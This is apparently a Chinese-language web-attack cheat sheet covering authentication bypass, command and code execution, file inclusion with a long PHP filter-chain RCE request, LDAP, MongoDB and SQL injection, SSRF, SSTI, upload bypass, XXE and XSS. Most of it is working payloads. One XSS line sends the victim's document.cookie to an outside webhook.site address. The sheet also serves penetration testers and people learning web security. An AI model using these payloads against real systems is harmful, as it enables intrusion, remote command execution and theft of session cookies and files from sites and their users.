跳转至

WEB 安全基础

认证绕过

基于 Cookie 绕过:检查 Cookie 是否存在可修改参数,明文或 MD5。

基于用户名大小写绕过:尝试注册功能,注册大写字母管理员用户名,尝试绕过鉴权认证。

基于字符串比较差异绕过:部分 MySQL 字符串比较场景下,尾部空格可能被忽略,例如 SELECT 'admin' = 'admin '; 可能返回真。如果注册、登录或用户唯一性校验逻辑存在缺陷,可尝试通过尾部空格、大小写差异等方式绕过。

基于代码缺陷绕过:某些应用程序在未登录状态会强制 302 重定向,但是缺少结束代码,可绕过认证泄漏敏感信息。

授权绕过

未授权访问:通过 A 用户授权接口,枚举获得 B 用户敏感数据。

修改 HTTP Accept 请求头:通过 Accept 设置不同类型响应,尝试获取敏感信息。

修改请求体:当请求体包含属性参数,增加管理员属性尝试绕过鉴权,比如 user[user]=xx&user[pass]=xx 可增加 user[admin]=1 测试绕过。

代码执行

PHP eval() 代码执行:该函数可执行 PHP 代码。

PHP assert() 代码执行:断言判断,PHP 7 以前,assert() 如果传入字符串,字符串可能会被当作 PHP 代码执行。

PHP 正则表达式 /e 修饰符代码执行:preg_replace() 在旧版本 PHP 中支持 /e 修饰符,可将替换后的字符串作为 PHP 代码执行。该特性在 PHP 5.5.0 起被废弃,在 PHP 7.0.0 起被移除

Ruby eval 代码执行:可通过反引号包裹执行系统命令,如若存在单双引号引号,注意闭合。

Python eval 代码执行:

Text Only
1
2
3
4
5
os.popen('ls').read()
__import__("os").popen("ls").read()

# 适用于过滤了特殊字符
__import__('os').popen(__import__('base64').b64decode('Y2F0IC9ldGMvcGFzc3dk')).read()

Perl 代码执行: 通过反引号包裹系统命令然后使用点连接上下文,执行系统命令。

命令执行

利用操作系统命令特性:常用符号 ||、|、&&、; 等。

若禁用了一些特殊符号,尝试其他方式绕过:

Text Only
1
2
3
4
5
6
`id`
$(id)
${IFS}
%0a
%26
%7c

目录遍历

通过 ../../ 执行目录遍历。

限制文件后缀时,尝试空字节截断 %00,该方式主要影响早期 PHP 版本,PHP 5.3.4 之后已修复。

在 Windows 或部分解析场景下,也可测试尾部空格、点号等文件名处理差异。

文件包含

远程、本地文件包含:

Text Only
1
2
3
# 如果文件包含程序自动添加后缀
# 对于远程文件包含可通过设置包含的 URL 参数绕过
http://www.xx.com?file=http://test.com/info.php?id=

本地敏感文件:

Text Only
1
2
3
4
5
6
7
8
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/auth.log
/var/log/secure
/var/lib/php/sessions/sess_<PHPSESSID>
/var/lib/php/session/sess_<PHPSESSID>
/tmp/sess_<PHPSESSID>
/var/tmp/sess_<PHPSESSID>

PHP 伪协议:

Text Only
# file://
http://www.xx.com?file=file:///etc/passwd

# php://filter,以 base64 展示
http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名]

# php://input,POST 方式执行 webshell
GET /cmd.php?file=php://input
POST Body:
<?php phpinfo(); ?>

# data://,PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。
# data:// 通常要求 allow_url_include 开启
http://target.com/test.php?file=data://text/plain,<?php system('id'); ?>
http://target.com/test.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8+

# zip://,创建包含shell.php的exploit.zip,上传并重命名为exploit.jpg
http://target.com/test.php?file=zip://exploit.jpg%23shell.php

PHP filter chain RCE(适用于无法包含本地 RCE 代码):

Text Only
# payload
POST /nav.php?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp HTTP/1.1
Host: 172.16.1.10
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 4

0=ls

LDAP 注入

LDAP 允许空绑定,可尝试提交空用户密码绕过认证。

LDAP 分为绑定和查询认证,当允许空绑定可尝试提交空数据绕过,当使用查询认证时,可尝试注入恒成立语句绕过认证。

Text Only
1
2
3
4
5
6
7
# 原始查询
(&(cn=admin)(userpassword=admin))

# 注入后,让 cn=admin 且 cn=* 成立,并尝试通过空字节截断后续密码条件
(&(cn=admin)(cn=*))%00

# 原理:如果后端拼接和截断处理存在缺陷,只要目录中存在 cn=admin 的对象,查询条件可能成立。

MongoDB 注入

万能密码绕过:

Text Only
' || 1==1 %00
'||1==1||'

MongoDB 操作符注入:

Text Only
# 正则匹配以 a 开头的用户名
username[$regex]=^a
# 不等于空值
password[$ne]=''

# 常见操作符
$ne      不等于
$eq      等于
$gt      大于
$gte     大于等于
$lt      小于
$lte     小于等于
$in      匹配数组中的任意值
$nin     不匹配数组中的任意值
$regex   正则匹配
$exists  字段是否存在
$type    字段类型匹配
$not     条件取反
$or      或条件
$and     与条件
$nor     非或条件
$where   执行 JavaScript 表达式

# 注入获取 administrator 用户登录权限 payload
{
  "username": {
    "$regex": "^admin"
  },
  "password": {
    "$ne": ""
  }
}
# 实际在后端数据库执行
db.users.findOne({
  username: {
    $regex: "^admin"
  },
  password: {
    $ne: ""
  }
});

注入获取数据:

Text Only
1
2
3
4
5
# 通过 this.字段.length 判断长度
user=administrator'&this.password.length>1&'1'=='1

# 循环判断每个字符
user=administrator'&this.password[0]=='a

注入获取未知数据:

Text Only
# 通过 js 语法执行
"$where": "0"
"$where": "1"

# js 语句
Object.keys(this)[0]  # 查找当前表的第一个字段
Object.keys(this)[0].match('')  # 通过正则匹配枚举每个字符

# 判断当前表的第一个字段的第一个值是否等于 a,依次循环判断
"$where":"Object.keys(this)[0].match('^.{0}a.*')"

# 通过 burp 爆破模块循环判断每个字段的每个值
"$where":"Object.keys(this)[0].match('^.{§§}§§.*')"

URL 重定向

通过 URL 参数设置重定向链接: http://xx.com/?url=http://a.com

绕过 /http://xx.com/?url=//www.baidu.com

SQL 注入

绕过登录:

Text Only
# 尝试单双引号
admin' or 1=1 --
admin' or 1=1#
admin' or '1'='1
admin' --

# 当代码仅接受一个结果,需要通过 limit 取值
admin' or 1=1 limit 0,1--
admin' or 1=1 limit 1,1--

# 尝试在密码注入
') or 1=1--
') or ('1')=('1

绕过 WAF:

Text Only
1
2
3
4
5
6
7
8
# 绕过空格
admin'/**/or/**/'1'='1
admin'%09or%09'1'='1
admin'||1=1#

# 宽字节注入
%df%27 or 1=1#
%bf%27 or 1=1#

服务端请求伪造(SSRF)

Text Only
# 常用 payload
http://xxx/?url=http://127.0.0.1:8080
http://xxx/?url=http://127.0.0.2:8080
http://xxx/?url=http://localhost:8080
http://xxx/?url=http://2130706433:1234  # 十进制表示 127.0.0.1

# 绕过
# 如果服务端通过正则表达式仅允许解析特定域名 URL
# 但正则表达式不够严谨,可以在 URL 结尾添加点,仍可通过 DNS 解析绕过
http://xxx/?url=http://abc.com.xxx.com
# http://abc.com 服务器仅允许该域名访问
# *.xxx.com 会解析到 127.0.0.1
# 通过这种方式仍可实现 SSRF

服务器端模版注入(SSTI)

Text Only
# python 示例
# 魔术方法
__class__  # 查询 class 类
# 查看继承链
__mro__
# 查看子类
__subclasses__()
# 模版注入攻击
# 1、测试是否存在模版注入
{{1+1}}
# 2、找到 object 父类
{{''.__class__.__mro__[2]}}
# 3、通过 object 父类找可利用的子类
{{''.__class__.__mro__[2].__subclasses__()}}
# 4、以 popen 为例执行系统命令
{{''.__class__.__mro__[2].__subclasses__()[233]('id',shell=True,stdout=-1).communicate()[0].strip()}}

# php 示例
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

文件上传

Text Only
1、扩展名绕过
.php5
.php7
.phtml
.php.shtml
.php%00.jpg

2、Content-Type 绕过
Content-Type:image/png

3、.htaccess 绕过
echo "AddType application/x-httpd-php .png" > .htaccess

4、Windows 系统绕过
1.php[space]
1.php............
1.php::$DATA

5、解析绕过
1.php.zxyw
1.jpg.php

XML 注入

Text Only
# XML 外部实体注入 payload (读取文件)
<!DOCTYPE x [
<!ENTITY hack SYSTEM "file:///etc/passwd">
]>
<test>&hack;</test>

# 基于 XPath 的 XML 注入(绕过认证),类似于 SQL 注入攻击

# 代码示例
$xml = new SimpleXMLElement($xml_string);
$user = $_POST['username'];
// 不安全!直接拼接用户输入
$result = $xml->xpath("//user[username='$user']/password");

# payload
' or '1'='1
# %00 利用早期 PHP 存在 00 截断
# 查找子节点
admin' or 1=1]/child::node()%00
# 查找父节点
admin' or 1=1]/parent::*/child::node()%00

跨站脚本攻击(XSS)

Text Only
# payload
<script>alert("xss")</script>
<img src=x onerror=alert("xss")>
# 基于 dom xss,需要闭合语句执行 xss payload
# 获取 cookie
<img src=1 onerror="new Image().src='https://webhook.site/b8d6976a-d19d-4aed-943c-3fdf81d42669/?c='%2bencodeURIComponent(document.cookie)" />

1、大小写绕过
<Script>alert("xss")</Script>
2、双写绕过
<scrscriptipt>alert("xss")</scscriptript>
<scr<script>ipt>alert("xss")</sc</script>ript>
3、事件型绕过
<a href='javascript:alert(1)'>TEST</a>
<a onmouseover='alert(1)'>TEST</a>
<img src=x onerror=alert("xss")>
4、更改弹窗 payload
<script>confirm(1)</script>
5、编码绕过
<script>eval('\x61\x6c\x65\x72\x74\x28\x31\x29')</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>